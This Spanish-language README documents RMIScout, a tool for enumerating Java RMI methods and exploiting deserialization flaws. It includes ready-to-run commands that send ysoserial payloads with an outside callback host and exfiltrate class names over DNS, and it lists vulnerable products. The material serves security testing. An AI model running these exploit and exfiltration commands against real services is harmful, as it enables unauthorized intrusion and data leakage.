
RMIScout utiliza estrategias de wordlist y fuerza bruta para enumerar funciones Java RMI y explotar vulnerabilidades de deserialización de parámetros RMI.
RMIScout permite ataques de lista de palabras y fuerza bruta contra interfaces Java RMI expuestas para adivinar de forma segura firmas de métodos sin invocación. Soporta múltiples protocolos Java RMI, invocación de métodos y explotación.
Para identificar pero no ejecutar funciones RMI, RMIScout utiliza funciones de red RMI de bajo nivel y generación dinámica de clases para enviar invocaciones RMI con tipos deliberadamente no coincidentes para provocar excepciones remotas. Todos los parámetros se sustituyen por una clase serializable generada dinámicamente con un nombre de 255 caracteres que se supone no existe en el classpath remoto. Por ejemplo:
Interfaz Remota:
void login(String user, String password)
RMIScout invocará:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
Si la clase está presente, esto resultará en una java.rmi.UnmarshalException remota causada por la ClassNotFoundException o un error de deserialización de argumentos sin invocar el método subyacente.
Para artículos técnicos más detallados:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Proporcione una lista de palabras de prototipos de métodos para verificar en el servidor remoto. RMIScout mostrará todas las coincidencias identificadas.
Para RMI-IIOP/CORBA: A menos que los métodos estén sobrecargados, la fuerza bruta y la invocación solo requieren que los nombres coincidan (toda la demás información se ignora).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Proporcione una lista de palabras de nombres de métodos candidatos, luego proporcione una lista delimitada por comas de tipos de retorno candidatos, rango de número de parámetros y tipos de parámetros candidatos. El modo de fuerza bruta generará las permutaciones y buscará firmas coincidentes.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
En servidores mal configurados, cualquier firma RMI conocida que use tipos no primitivos (por ejemplo, java.util.List), puede ser explotada reemplazando el objeto con un payload serializado. Esta es una mala configuración bastante común (por ejemplo, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) como se destaca en la charla de An Trinh en Blackhat EU 2019.
RMIScout se integra con ysoserial para realizar ataques de deserialización contra servicios que configuran incorrectamente filtros de serialización a nivel de proceso (JEP 290).
Ejemplos de firmas explotables:
void exampleMethod(java.util.Map a) // Cualquier tipo no primitivo
void exampleMethod(float[] a) // Cualquier tipo de arreglo, incluso primitivos
void exampleMethod(String a) // Funciona en JDK antiguos, ver más abajo...
Nota: Las firmas que contienen tipos java.lang.String solo son explotables en versiones de JRE 8/11/13/14 anteriores a principios de 2020 en RMI-JRMP, pero aún son explotables actualmente en RMI-IIOP.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout te permite invocar cualquier firma con primitivos, arreglos primitivos o Strings. Los tipos más avanzados requerirán escribir un cliente personalizado.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout se integra con GadgetProbe para identificar clases en el classpath remoto. Los nombres de las clases se exfiltran mediante DNS.
Usa el script rmiscout.sh incluido para construir automáticamente el proyecto y como un envoltorio conveniente alrededor de la sintaxis java -jar:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternativamente, construye el proyecto manualmente y usa la sintaxis tradicional java -jar:
# Construir JAR manualmente
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>